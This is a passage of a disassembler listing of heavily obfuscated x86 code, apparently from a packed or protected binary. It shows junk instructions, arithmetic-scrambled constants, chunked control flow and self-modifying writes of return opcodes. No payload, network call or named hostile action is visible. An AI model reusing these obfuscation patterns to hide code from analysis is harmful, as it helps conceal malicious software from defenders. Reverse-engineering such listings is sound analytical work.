loc_44DA12:				; CODE XREF: sub_441C84-5011j
					; sub_4466B6:loc_43F4B3j ...
		jmp	loc_446A94
; END OF FUNCTION CHUNK	FOR sub_43E421
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466B6

loc_44DA17:				; CODE XREF: sub_4390B5+11j
					; sub_4466B6+6j
		xchg	edi, [esp+0]
		mov	ecx, edi
		pop	edi
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4466B6
; ---------------------------------------------------------------------------

loc_44DA1F:				; CODE XREF: dviuq5id:0044D374j
		jmp	loc_43BC57
; ---------------------------------------------------------------------------

loc_44DA24:				; CODE XREF: dviuq5id:0044A3F3j
		jmp	loc_455489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D2A8

loc_44DA29:				; CODE XREF: sub_44D2A8-102D6j
		jmp	loc_4401A7
; END OF FUNCTION CHUNK	FOR sub_44D2A8
; ---------------------------------------------------------------------------
		push	esi
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_44DA2F:				; CODE XREF: sub_44ABE0:loc_455BC0j
		push	0EE060786h
		pop	esi
		rol	esi, 0Ah
		add	esi, 39BB6D6Eh
		rol	esi, 0Dh
		jb	loc_44EBE6

loc_44DA47:				; CODE XREF: sub_458C6E+7j
		jmp	nullsub_336
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------
		add	ebp, 0AA0B3EDCh
		jmp	loc_4511B2

; =============== S U B	R O U T	I N E =======================================



sub_44DA57	proc near		; DATA XREF: sub_443F44+3o

; FUNCTION CHUNK AT 00448EAE SIZE 00000011 BYTES

		push	ebx
		mov	[ebp-4], eax
		mov	eax, offset dword_457D50
		push	edx
		push	200BC4E3h
		pop	edx
		jmp	loc_448EAE
sub_44DA57	endp

; ---------------------------------------------------------------------------
		jno	loc_44D860
		shr	esi, 9
		jmp	sub_4489E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_44DA7A:				; CODE XREF: sub_44FCBC:loc_448D8Ej
		jnz	loc_45273B

loc_44DA80:				; CODE XREF: dviuq5id:loc_442D3Aj
		sbb	edi, ebp
		jmp	loc_459699
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44395C

loc_44DA87:				; CODE XREF: sub_44395C+96B6j
		pop	esi
		lea	eax, sub_44395C
		mov	byte ptr [eax],	0C3h
		jmp	loc_455C72
; END OF FUNCTION CHUNK	FOR sub_44395C

; =============== S U B	R O U T	I N E =======================================



sub_44DA96	proc near		; CODE XREF: sub_41A40D+Cp
					; sub_44DA96+5j
					; DATA XREF: ...
		call	sub_450686
		jmp	ds:off_41D024
sub_44DA96	endp

; ---------------------------------------------------------------------------

loc_44DAA1:				; CODE XREF: dviuq5id:00453A52j
		jmp	loc_45187D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F5D6

loc_44DAA6:				; CODE XREF: sub_44F5D6+15j
		jmp	loc_43EF30
; END OF FUNCTION CHUNK	FOR sub_44F5D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_44DAAB:				; CODE XREF: sub_44D022-1E44j
		sub	eax, 39C85676h
		rol	eax, 10h
		add	eax, 7E7EACFFh
		or	eax, 830B32FDh
		add	eax, 4CC89E0Dh
		xchg	eax, [esp+0]
		jmp	sub_44E3BA
; END OF FUNCTION CHUNK	FOR sub_44D022
; ---------------------------------------------------------------------------

loc_44DACE:				; CODE XREF: dviuq5id:0043D566j
		js	loc_43A9C3

loc_44DAD4:				; CODE XREF: dviuq5id:loc_450C1Cj
		push	eax
		lea	eax, dword_445640
		push	eax
		push	eax
		mov	edx, eax
		jmp	loc_446DE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6ED

loc_44DAE4:				; CODE XREF: sub_44C6ED:loc_441933j
		push	offset loc_43D4C4
		jmp	nullsub_94
; END OF FUNCTION CHUNK	FOR sub_44C6ED
; ---------------------------------------------------------------------------

loc_44DAEE:				; CODE XREF: dviuq5id:0044EF53j
		xchg	eax, ebp
		pushf
		and	ebx, ecx
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_44DAF3:				; CODE XREF: sub_4551F9:loc_44EF43j
		rol	ecx, 1
		add	ecx, 1D84AFA2h
		sub	ecx, ds:4000F0h
		add	ecx, 99F8D2FBh
		mov	[ecx], eax
		jmp	loc_452A12
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3F1

loc_44DB0E:				; CODE XREF: sub_43F3F1:loc_454AA5j
		jnz	loc_44315D
		mov	[ebp+0], edx
		not	eax
		jmp	loc_443154
; END OF FUNCTION CHUNK	FOR sub_43F3F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_44DB1E:				; CODE XREF: sub_454094-164A5j
		or	eax, 5414E2D9h
		sbb	esi, 1542D14h
		jnz	loc_4538F9
		push	edx

loc_44DB31:				; CODE XREF: sub_454094:loc_451919j
		push	edx
		push	0D36D0260h
		pop	edx
		and	edx, 8394537h
		jmp	loc_445A00
; END OF FUNCTION CHUNK	FOR sub_454094

; =============== S U B	R O U T	I N E =======================================



sub_44DB43	proc near		; DATA XREF: sub_44E1C0-9561o

; FUNCTION CHUNK AT 0043CD31 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00446400 SIZE 00000007 BYTES

		xor	eax, ebx
		add	eax, ecx
		xor	eax, esi
		add	eax, edi
		jmp	loc_446400
sub_44DB43	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_44DB50:				; CODE XREF: sub_4560AC:loc_448FE5j
		lea	eax, [ebp-24h]
		push	eax
		push	100h
		jmp	loc_43E143
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------

loc_44DB5E:				; DATA XREF: dviuq5id:0044C9D4o
		add	ebx, 0E44A0E06h
		mov	[ebx], eax
		call	sub_44BC5E
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_44DB6B:				; CODE XREF: sub_45288A+7CF8j
		xor	ebp, 0F534E179h

loc_44DB71:				; CODE XREF: sub_45288A:loc_449010j
		push	esi
		push	224E8FABh
		pop	esi
		rol	esi, 0Bh
		and	esi, 422CF807h
		jmp	loc_44BDCF
; END OF FUNCTION CHUNK	FOR sub_45288A

; =============== S U B	R O U T	I N E =======================================



sub_44DB86	proc near		; CODE XREF: dviuq5id:0043C587p

; FUNCTION CHUNK AT 00441E62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D03 SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ds:off_41D1B0, eax
		lea	eax, sub_455518
		jmp	loc_442D03
sub_44DB86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44DB9B	proc near		; CODE XREF: sub_43C2DA+C968p
					; dviuq5id:00456437j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0045860F SIZE 00000010 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, 20400104h
		xchg	eax, [esp-4+arg_0]
		push	esi
		mov	esi, eax
		jmp	loc_45860F
sub_44DB9B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	eax, 0B2F68715h
		jmp	loc_4432FE
; ---------------------------------------------------------------------------
		mov	ebp, 178410D2h
		jmp	loc_4594E9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_44DBC6:				; CODE XREF: sub_441F76+12j
					; dviuq5id:loc_4569E3j
		mov	eax, 0E0h
		call	sub_43CCD1
		jmp	loc_4448C3
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------

loc_44DBD5:				; CODE XREF: dviuq5id:0043A342j
		jnz	loc_458D11
		jmp	loc_444C8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_44DBE0:				; CODE XREF: sub_441DDA:loc_453F05j
		add	eax, 31FC78CDh
		popf
		xchg	eax, [esp-4+arg_0]
		jmp	loc_454A67
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3CA

loc_44DBEF:				; CODE XREF: sub_43B3CA-1861j
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
; END OF FUNCTION CHUNK	FOR sub_43B3CA
; START	OF FUNCTION CHUNK FOR sub_442852

loc_44DBF7:				; CODE XREF: sub_44B02F:loc_440A7Aj
					; sub_444466+43E2j ...
		mov	eax, [ebp-0Ch]
		jmp	loc_43907F
; END OF FUNCTION CHUNK	FOR sub_442852
; ---------------------------------------------------------------------------

loc_44DBFF:				; CODE XREF: dviuq5id:loc_440016j
					; dviuq5id:loc_449BB9j
		mov	eax, [eax]
		push	offset sub_443354
		jmp	loc_440260
; ---------------------------------------------------------------------------

loc_44DC0B:				; DATA XREF: sub_4560AC:loc_45764Bo
		cmp	dword ptr [ebp-1C8h], 2B584245h
		jnz	loc_448FE5
		jmp	loc_445997
; ---------------------------------------------------------------------------

loc_44DC20:				; DATA XREF: sub_43FEBB:loc_456318o
		mov	[ebp-4], eax
		push	59FB0F0Ah
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		rol	eax, 17h
		jmp	loc_4481D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_44DC36:				; CODE XREF: sub_43AEAA+15C95j
		test	edx, eax
		jmp	loc_43EEA1
; END OF FUNCTION CHUNK	FOR sub_43AEAA

; =============== S U B	R O U T	I N E =======================================



sub_44DC3D	proc near		; CODE XREF: sub_458F8Cj
					; DATA XREF: sub_439C09+1F379o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004421CE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447DF6 SIZE 0000000F BYTES

		push	eax
		pushf
		push	27CDC3EDh
		pop	eax
		xor	eax, 811616FDh

loc_44DC4B:				; CODE XREF: dviuq5id:loc_45262Aj
		sub	eax, 3A7F7993h
		add	eax, 14772A01h
		sub	eax, 5A31D90Bh
		jmp	loc_4421CE
sub_44DC3D	endp

; ---------------------------------------------------------------------------

loc_44DC62:				; CODE XREF: dviuq5id:00443C7Bj
		js	loc_45130B

loc_44DC68:				; CODE XREF: dviuq5id:loc_44A7A9j
		add	esi, 0CC4041B0h
		mov	[esi], eax
		xchg	edi, [esp]
		mov	esi, edi
		pop	edi
		lea	eax, loc_452ABB
		jmp	loc_444C89
; ---------------------------------------------------------------------------
		mov	eax, 6E103E68h
		call	sub_453642
		push	offset sub_44AA64
		jmp	locret_45544D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D160

loc_44DC95:				; CODE XREF: sub_43D160+D80j
		add	eax, 28098921h
		push	edi
		mov	edi, eax
		xchg	edi, [esp+8+var_8]
		jmp	loc_452255
; END OF FUNCTION CHUNK	FOR sub_43D160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_44DCA6:				; CODE XREF: sub_44BD0B:loc_44C0ABj
		jz	loc_45684C

loc_44DCAC:				; CODE XREF: sub_44D3E7+3j
		jmp	loc_44829A
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44DCB1:				; CODE XREF: sub_43FA59+9D5j
		jmp	loc_446BAD
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		mov	[edx], ecx
		and	esi, 0E80D8410h
		jmp	loc_45684C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_44DCC3:				; CODE XREF: sub_448424:loc_442149j
		pop	ecx

loc_44DCC4:				; CODE XREF: dviuq5id:loc_439371j
		mov	eax, [eax]
		mov	ecx, 3FDh
		xor	edx, edx
		div	ecx
		push	ecx
		push	0B70F37D9h
		pop	ecx
		jmp	loc_443CA6
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A203

loc_44DCDB:				; CODE XREF: sub_44A203:loc_448E14j
		call	sub_4489AE

loc_44DCE0:				; CODE XREF: sub_4592D7-DD11j
		jmp	loc_446C9A
; END OF FUNCTION CHUNK	FOR sub_44A203
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_44DCE5:				; CODE XREF: sub_43A160:loc_43FE6Ej
		cdq
		jnp	loc_443DDA
		popf

loc_44DCED:				; CODE XREF: sub_45753F:loc_43FE4Bj
		add	ecx, 86CF23E7h
		push	offset sub_43FF70
		jmp	loc_453C5E
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------

loc_44DCFD:				; CODE XREF: dviuq5id:004390E2j
		or	ecx, 45887B19h
		pushf
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44DD04:				; CODE XREF: sub_43FA59:loc_4390D1j
		and	eax, ds:4000F5h
		jns	loc_449D7C
; END OF FUNCTION CHUNK	FOR sub_43FA59
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_44DD10:				; CODE XREF: sub_4440E9-3D67j
					; sub_4440E9:loc_44DDE4j
		push	0
		push	offset sub_44FB20
		jmp	loc_43AA67
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_44DD1C:				; CODE XREF: sub_44B99E:loc_453EB7j
		cdq
		jmp	loc_43E8A1
; END OF FUNCTION CHUNK	FOR sub_44B99E

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44DD22	proc near		; CODE XREF: sub_456280+Cj
		retn
sub_44DD22	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_44DD23:				; CODE XREF: sub_44846C:loc_446344j
					; dviuq5id:0044C476j
		jmp	loc_45A43F
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------

loc_44DD28:				; CODE XREF: dviuq5id:0043C09Ej
		cmp	ecx, 0CE04F5C8h
		jmp	loc_459310
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_44DD33:				; CODE XREF: sub_440E99:loc_4425D4j
		mov	eax, ebx
		pop	ebx
		pop	ebp
		jmp	loc_43C80D
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_4592CD
; ---------------------------------------------------------------------------

loc_44DD45:				; CODE XREF: dviuq5id:00446D2Cj
		sub	eax, 0F5EBB2E2h
		rol	eax, 1
		sub	eax, 0D7399719h
		cmp	eax, 0C701CC93h
		jmp	loc_43DC13
; ---------------------------------------------------------------------------
		ja	loc_45189B
		sbb	edx, ecx
		jmp	sub_44797B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455696

loc_44DD6B:				; CODE XREF: sub_455696+10j
		add	eax, 0C2D38E33h
		xchg	eax, [esp+0]
		jmp	loc_43AB66
; END OF FUNCTION CHUNK	FOR sub_455696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCB4

loc_44DD79:				; CODE XREF: sub_43DCB4:loc_4551F3j
		add	ebx, eax
		mov	eax, ds:dword_457D5C
		mov	[eax], ebx
		mov	eax, offset dword_457D50
		call	sub_4482DE
		push	edx
		push	0AB9CC54Bh
		jmp	loc_43EFBB
; END OF FUNCTION CHUNK	FOR sub_43DCB4
; ---------------------------------------------------------------------------
		push	0DC042FC0h
		pop	edx
		xor	edx, 1E35F735h
		or	edx, 3CE39635h
		jmp	loc_44DE68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C20F

loc_44DDAE:				; CODE XREF: sub_44C20Fj
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44C294
		mov	eax, 203AE851h
		jmp	loc_441259
; END OF FUNCTION CHUNK	FOR sub_44C20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7C7

loc_44DDC7:				; CODE XREF: sub_44D7C7+10j
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_43B660
		call	sub_43E859

loc_44DDD5:				; CODE XREF: sub_4427AE+149CCj
		jmp	loc_43E5E3
; END OF FUNCTION CHUNK	FOR sub_44D7C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_44DDDA:				; CODE XREF: sub_440C61+6A8Dj
		jmp	loc_44AC3F
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_44DDDF:				; CODE XREF: sub_449222-E641j
		jmp	loc_43FA75
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_44DDE4:				; CODE XREF: sub_4440E9:loc_457D48j
		jz	loc_44DD10
		jmp	loc_440378
; END OF FUNCTION CHUNK	FOR sub_4440E9

; =============== S U B	R O U T	I N E =======================================



sub_44DDEF	proc near		; CODE XREF: dviuq5id:0043EAC2j
					; dviuq5id:00455D6Fp
		xchg	esi, [esp+0]
		pop	esi
		mov	[esi], eax
		pop	esi
		jmp	loc_454F7B
sub_44DDEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44DDFB	proc near		; CODE XREF: sub_441DDA+EA67j
					; sub_441DDA:loc_452F4Ej

var_8		= dword	ptr -8

		push	ebx
		push	142A07E0h
		xchg	esi, [esp+8+var_8]
		mov	ebx, esi
		pop	esi
		xor	ebx, 665EA2A6h
		add	ebx, 0D36B48DDh
		xor	ebx, 45DFEE23h
		jmp	loc_448C47
sub_44DDFB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459725

loc_44DE1E:				; CODE XREF: sub_459725+15j
		sub	eax, 68852FDBh
		xor	eax, 7887392Ch
		add	eax, ebp
		add	eax, 0B1E5F290h
		mov	eax, [eax]
; END OF FUNCTION CHUNK	FOR sub_459725
; START	OF FUNCTION CHUNK FOR sub_454094

loc_44DE34:				; CODE XREF: sub_454094:loc_439C44j
		cmp	byte ptr [eax],	0F1h
		jmp	loc_44BC41
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		and	ebp, eax
		jmp	sub_43BDC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44DE43:				; CODE XREF: sub_43FA59-10F1j
		mov	edi, [ecx]
		jmp	loc_44C1BC
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		mov	ebp, ebx
		jmp	sub_441D7C
; ---------------------------------------------------------------------------
		db 0E4h, 78h, 0B7h
; ---------------------------------------------------------------------------

loc_44DE54:				; DATA XREF: sub_43C402+7o
					; sub_44AF7D+13o
		fisub	word ptr [ebp+ecx*4-28h] ; (emulator call)
		mov	eax, 8D1B91h
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_44DE5E:				; CODE XREF: sub_44E1C0-13E6j
		jmp	loc_43CF07
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
		db 0DDh
dword_44DE64	dd 77F50000h		; DATA XREF: sub_44F0CA:loc_4455C9r
					; sub_44F0CA:loc_449ED3w
; ---------------------------------------------------------------------------

loc_44DE68:				; CODE XREF: dviuq5id:0044DDA9j
		jmp	loc_440BD7
; ---------------------------------------------------------------------------
		db 0DAh, 0DFh, 8
dword_44DE70	dd 0			; DATA XREF: dviuq5id:loc_439534r
					; dviuq5id:00439541r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC6E

loc_44DE74:				; CODE XREF: sub_44AC6E+ED49j
		jmp	loc_452547
; END OF FUNCTION CHUNK	FOR sub_44AC6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4520DC

loc_44DE79:				; CODE XREF: sub_4520DC+Ej
		jmp	loc_45013C
; END OF FUNCTION CHUNK	FOR sub_4520DC
; ---------------------------------------------------------------------------

loc_44DE7E:				; CODE XREF: dviuq5id:0044AA21j
		jmp	nullsub_492
; ---------------------------------------------------------------------------
		db 99h
dword_44DE84	dd 77E79F93h		; DATA XREF: dviuq5id:00439548w
					; sub_45844D:loc_43F46Dr ...
; ---------------------------------------------------------------------------

loc_44DE88:				; CODE XREF: dviuq5id:00450395j
		jmp	loc_4469C4
; ---------------------------------------------------------------------------

loc_44DE8D:				; CODE XREF: dviuq5id:0044E408j
		jmp	loc_45A08A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A3E

loc_44DE92:				; CODE XREF: sub_452A3E-CF70j
		jmp	loc_450852
; END OF FUNCTION CHUNK	FOR sub_452A3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B81

loc_44DE97:				; CODE XREF: sub_445B81-839Dj
		jmp	loc_4549DA
; END OF FUNCTION CHUNK	FOR sub_445B81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4399BB

loc_44DE9C:				; CODE XREF: sub_4399BB+1F5BCj
		xchg	ecx, edi
		jns	loc_456189
		jmp	loc_44C36D
; END OF FUNCTION CHUNK	FOR sub_4399BB
; ---------------------------------------------------------------------------
		mov	edx, 0DE6CF580h
		push	edi
		push	0DD081CE1h
		pop	edi
		rol	edi, 6
		add	edi, 0BE3E5D55h
		xchg	edi, [esp]
		jmp	sub_449EB7
; ---------------------------------------------------------------------------

loc_44DEC6:				; DATA XREF: sub_43B9A5:loc_44BE91o
		mov	eax, [ebp-18h]
		mov	eax, [eax]
		shl	eax, 3
		add	eax, [ebp-8]
		jmp	loc_44BB4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_44DED6:				; CODE XREF: sub_44460F+1000Fj
		push	eax
		mov	eax, edi
		xchg	eax, [esp+14h+var_14]
		call	sub_43AA4C

loc_44DEE1:				; CODE XREF: sub_44A2CC-1BEBj
		jmp	loc_442C2A
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453749

loc_44DEE6:				; CODE XREF: sub_453749-EC3Dj
		jmp	nullsub_177
; END OF FUNCTION CHUNK	FOR sub_453749
; ---------------------------------------------------------------------------

loc_44DEEB:				; CODE XREF: dviuq5id:0043A0AAj
		jmp	sub_449EB7
; ---------------------------------------------------------------------------
dword_44DEF0	dd 0EC4EEFA8h		; DATA XREF: sub_4406E9+7r
					; dviuq5id:0044E78Fw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_44DEF4:				; CODE XREF: sub_44B2EA+9A7Aj
		jmp	loc_43ADDE
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_44DEF9:				; CODE XREF: sub_4440E9+3DDFj
		jmp	loc_44FCF7
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------

loc_44DEFE:				; CODE XREF: dviuq5id:00446650j
		jmp	sub_453642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_44DF03:				; CODE XREF: sub_44E1C0-116D4j
		jmp	sub_43A101
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
dword_44DF08	dd 677E8065h		; DATA XREF: dviuq5id:loc_458DECr
dword_44DF0C	dd 153970h		; DATA XREF: dviuq5id:0043A40Fr
					; sub_44D736-95BBr ...
dword_44DF10	dd 0CEF2C6EFh		; DATA XREF: sub_4396BB+7r
					; sub_459194-E0A4r ...
; ---------------------------------------------------------------------------

loc_44DF14:				; CODE XREF: dviuq5id:0043F930j
		jmp	loc_4592B3
; ---------------------------------------------------------------------------
		db 0ACh, 52h, 44h
dword_44DF1C	dd 0			; DATA XREF: dviuq5id:00444CA9r
					; sub_43A1BD+130ACw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_44DF20:				; CODE XREF: sub_43CBD5+1BCDBj
		jmp	loc_4428A0
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; ---------------------------------------------------------------------------

loc_44DF25:				; CODE XREF: dviuq5id:00457E0Cj
		jmp	loc_44F54A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_44DF2A:				; CODE XREF: sub_450217-8BF2j
		jmp	loc_43902E
; END OF FUNCTION CHUNK	FOR sub_450217
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_44970D
		jmp	loc_448B14
; ---------------------------------------------------------------------------

loc_44DF3C:				; CODE XREF: dviuq5id:loc_4510FDj
		jz	loc_43FF08
		jmp	loc_43D129
; ---------------------------------------------------------------------------

loc_44DF47:				; CODE XREF: dviuq5id:loc_44E856j
		cmp	edi, 0D262F18Bh
		jmp	loc_44BC32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_44DF52:				; CODE XREF: sub_43938B+788Aj
		jg	loc_451C56
		jmp	loc_4495FA
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_44DF5D:				; CODE XREF: sub_43BA0E+1A244j
		sbb	eax, esi
		cmp	esi, 0C270BAEEh
		jmp	loc_457BF1
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45944F

loc_44DF6A:				; CODE XREF: sub_45944F-1EF05j
		sub	eax, 8C36D927h
		xor	eax, 2E961A04h
		add	eax, 0F56F47DBh
; END OF FUNCTION CHUNK	FOR sub_45944F
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_44DF7C:				; CODE XREF: sub_458F2A-1D54Cj
		popf
		xchg	eax, [esp+0]
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_458F2A
; ---------------------------------------------------------------------------
		sub	edx, 3DBCB162h
		jmp	loc_44E2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_44DF90:				; CODE XREF: sub_43EB11:loc_457D65j
		pushf
		push	3CAA73C6h
		pop	edi
		add	edi, 7A639CA4h
		jmp	loc_44B736
; END OF FUNCTION CHUNK	FOR sub_43EB11

; =============== S U B	R O U T	I N E =======================================



sub_44DFA2	proc near		; CODE XREF: dviuq5id:0044C735j
					; sub_44C2F6:loc_45827Ep

; FUNCTION CHUNK AT 00444716 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		call	sub_43CCD1
		push	offset sub_457E5D
		jmp	loc_444716
sub_44DFA2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44DFB5:				; CODE XREF: dviuq5id:004416E6j
		ror	eax, 9

; =============== S U B	R O U T	I N E =======================================



sub_44DFB8	proc near		; CODE XREF: dviuq5id:loc_43DDBAp

; FUNCTION CHUNK AT 0044D5E1 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		sub	al, 99h
		mov	edx, [ebp-4]
		push	offset loc_44E227
		jmp	loc_44D5E1
sub_44DFB8	endp

; ---------------------------------------------------------------------------

loc_44DFCB:				; CODE XREF: dviuq5id:loc_43FC2Dj
		xchg	edx, [esp]
		push	74F9B052h
		xchg	edx, [esp]
		mov	edi, edx
		jmp	loc_459565
; ---------------------------------------------------------------------------

loc_44DFDD:				; CODE XREF: dviuq5id:loc_44423Bj
		jp	loc_43C456

; =============== S U B	R O U T	I N E =======================================



sub_44DFE3	proc near		; CODE XREF: sub_45002A+7p

; FUNCTION CHUNK AT 0043FB0E SIZE 00000004 BYTES

		xchg	edi, [esp+0]
		pop	edi
		shl	eax, 0Fh
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_43FB0E
sub_44DFE3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:off_41D198, eax
		lea	eax, sub_44508C
		mov	byte ptr [eax],	0C3h
		jmp	sub_44508C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44508C

loc_44E009:				; CODE XREF: sub_44508C+6j
		mov	eax, [esp-4+arg_0]
		jmp	loc_451846
; END OF FUNCTION CHUNK	FOR sub_44508C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489E1

loc_44E011:				; CODE XREF: sub_4489E1:loc_45765Aj
		pop	esi
		push	offset loc_452444
		jmp	nullsub_286
; END OF FUNCTION CHUNK	FOR sub_4489E1
; ---------------------------------------------------------------------------

loc_44E01C:				; CODE XREF: dviuq5id:004407D7j
		ror	eax, 1

; =============== S U B	R O U T	I N E =======================================



sub_44E01E	proc near		; CODE XREF: sub_43AE68:loc_451306p
		xchg	edi, [esp+0]
		pop	edi
		rol	eax, 2
		push	edx
		push	60443447h
		jmp	loc_4489CD
sub_44E01E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_44E030:				; CODE XREF: sub_446DD8:loc_446DDDj
		shl	ebp, 16h
		pop	eax
